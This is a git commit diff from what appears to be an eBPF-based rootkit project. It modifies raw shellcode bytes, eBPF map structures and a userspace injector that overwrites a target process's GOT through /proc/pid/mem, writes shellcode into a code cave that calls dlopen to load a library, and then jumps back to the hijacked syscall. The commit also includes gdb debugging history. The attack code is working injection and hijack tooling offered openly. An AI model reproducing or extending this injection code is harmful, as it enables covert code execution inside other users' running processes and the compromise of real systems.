Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it

This commit is contained in:
h3xduck
2022-04-09 14:17:09 -04:00
parent 036585371c
commit e881502ffa
11 changed files with 9928 additions and 9678 deletions

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

View File

@@ -45,8 +45,8 @@
"\xbe\x01\x00\x00\x00\x48\x89\xdf\
\x48\x81\xec\x00\x10\x00\x00\xff\
\xd0\x48\x81\xc4\x00\x10\x00\x00\x5e\
\x5f\x5b\x5a\x59\x58\x5d\xc3"
#define CODE_CAVE_SHELLCODE_ASSEMBLE_3_LEN 32
\x5f\x5b\x5a\x59\x58\x5d\xff\x25\x00\x00\x00\x00"
#define CODE_CAVE_SHELLCODE_ASSEMBLE_3_LEN 37
#endif

View File

@@ -21,6 +21,7 @@ struct rb_event {
__u64 libc_dlopen_mode_address;
__u64 libc_malloc_address;
__u64 got_address;
__s32 got_offset;
int relro_active;
event_type_t event_type;
};

View File

@@ -28,6 +28,8 @@ struct inj_ret_address_data{ //Map value
__u64 stack_ret_address;
__u64 relro_active;
__u64 got_address;
__s32 got_offset;
__s32 padding;
};
struct fs_priv_open{ //Map

View File

@@ -197,6 +197,8 @@ static __always_inline int stack_extract_return_address_plt(__u64 stack_rip){
addr.libc_syscall_address = (__u64)got_libc_addr;
addr.stack_ret_address = 0;
addr.relro_active = relro_active;
addr.got_offset = got_offset;
addr.padding = 0;
bpf_probe_read(&addr.got_address, sizeof(__u64), &got_addr);
bpf_map_update_elem(&inj_ret_address, &pid_tgid, &addr, BPF_ANY);
@@ -270,7 +272,7 @@ int sys_enter_timerfd_settime(struct sys_timerfd_settime_enter_ctx *ctx){
addr->stack_ret_address, addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL,
addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_DLOPEN,
addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_MALLOC,
addr->got_address, addr->relro_active);
addr->got_address, addr->libc_syscall_address, addr->relro_active);
return 0;
}

View File

@@ -47,7 +47,7 @@ static __always_inline int ring_buffer_send(struct ring_buffer *rb, int pid, eve
*
* @return 0 if ok, -1 if error
*/
static __always_inline int ring_buffer_send_vuln_sys(struct ring_buffer *rb, int pid, __u64 syscall_address, __u64 process_stack_return_address, u64 libc_main_address, u64 libc_dlopen_mode_address, __u64 libc_malloc_address, __u64 got_address, int relro_active){
static __always_inline int ring_buffer_send_vuln_sys(struct ring_buffer *rb, int pid, __u64 syscall_address, __u64 process_stack_return_address, u64 libc_main_address, u64 libc_dlopen_mode_address, __u64 libc_malloc_address, __u64 got_address, __s32 got_offset, int relro_active){
struct rb_event *event = (struct rb_event*) bpf_ringbuf_reserve(rb, sizeof(struct rb_event), 0);
if(!event){
return -1;
@@ -62,6 +62,7 @@ static __always_inline int ring_buffer_send_vuln_sys(struct ring_buffer *rb, int
event->syscall_address = syscall_address;
event->got_address = got_address;
event->relro_active = relro_active;
event->got_offset = got_offset;
bpf_ringbuf_submit(event, 0);
return 0;

View File

@@ -1,81 +1,3 @@
r
si
x/4i 0x555555555664
x/32b 0x555555555664
q
b *(main+446)
r
si
fin
ni
si
fin
si
q
disass main
b *(main+186)
r
si
q
disass main
b *(main+126)
r
si
disass /r main
x/10b 7ffff7fc7a92
x/10b 0x7ffff7fc7a92
x/10i 0x7ffff7fc7a92
x/10i 7ffff7fc77c0
x/10i 0x7ffff7fc77c0
x/10b 0x7ffff7fc77c0
q
b *(main+126)
r
si
q
b *(main+126)
r
si
q
disass main
b *(main+184)
r
si
q
diass main
disass main
r
q
b *(main+184)
r
si
disass main
b *(main+446)
c
si
fin
ni
q
b *(main+184)
r
si
q
disass main
b *(main+175)
r
si
fin
x/5i 0x404040
x/5b 0x404040
q
starti
checksec
q
disass main
b *(main+446)
r
si
x/60b 0x555555555664
q
disass main
b *(main+446)
@@ -254,3 +176,81 @@ checksec
q
checksec
q
disass main
b *(main+446)
r
si
ni
si
ni
si
q
b *(main+446)
r
x/20i 0x7ffff7ede560
x/100i 0x7ffff7ede560
x/1000i 0x7ffff7ede560
q
b *(main+446)
r
si
disass /r 0x555555555130
x/20b 0x555555557fd0
q
b timerfd_settime@plt
r
si
q
disass /r 0x555555555130
b timerfd_settime
r
q
b timerfd_settime@plt
r
disass /r 0x555555555130
q
b *(main+446)
r
si
ni
si
ni
si
x/20b 0x5555555556fb
disass /r 0x555555555134
x/20b 0x5555555556fb
q
b *(main+446)
r
si
fin
si
fin
si
fin
q
b *(main+446)
r
si
ni
x/20b 0x5555555556fb
q
b *(main+446)
r
si
ni
x/20b 0x5555555556fb
q
b *(main+446)
r
si
ni
q
b *(main+446)
r
si
ni
si
ni
si
q

View File

@@ -41,7 +41,7 @@ __u64 code_cave_find_address(int mem_fd, __u64 from, __u64 to, char flags[], __u
}
int code_cave_write_shellcode(int mem_fd, __u64 cave_addr, __u64 got_addr, __u64 malloc_addr, __u64 dlopen_addr){
int code_cave_write_shellcode(int mem_fd, __u64 cave_addr, __u64 got_addr, __u64 malloc_addr, __u64 dlopen_addr, __u64 syscall_addr){
//Writing the code cave address in the GOT section, future calls to libc will be redirected
size_t len = sizeof(__u64);
__u64 buf_n = (__u64)cave_addr;
@@ -103,8 +103,18 @@ int code_cave_write_shellcode(int mem_fd, __u64 cave_addr, __u64 got_addr, __u64
return -1;
}
}
//A trick to jump to a selected location
len = sizeof(__u64);
buf_n = (__u64)syscall_addr;
for(size_t ii=0; ii<len; ii++){
if(write(mem_fd, (void*)&buf_n+ii, 1) < 0 ){
perror("Error while writing syscall address");
return -1;
}
}
printf("Finished writing shellcode at %llx\n", cave_addr);
printf("Finished writing shellcode at %llx, syscall_addr %llx\n", cave_addr, syscall_addr);
return 0;
}

View File

@@ -53,7 +53,7 @@ int manage_injection(const struct rb_event* event){
__u64 cave_addr = code_cave_find_address(mem_fd, from, to, flags, pgoff, major, minor, ino);
if(cave_addr!=0){
//Found valid cave.
if(code_cave_write_shellcode(mem_fd, cave_addr, event->got_address, event->libc_malloc_address, event->libc_dlopen_mode_address)<0){
if(code_cave_write_shellcode(mem_fd, cave_addr, event->got_address, event->libc_malloc_address, event->libc_dlopen_mode_address, event->syscall_address)<0){
printf("Continuing with next cave candidate. Some writes might have been performed already\n");
}
printf("Successfully hijacked GOT\n");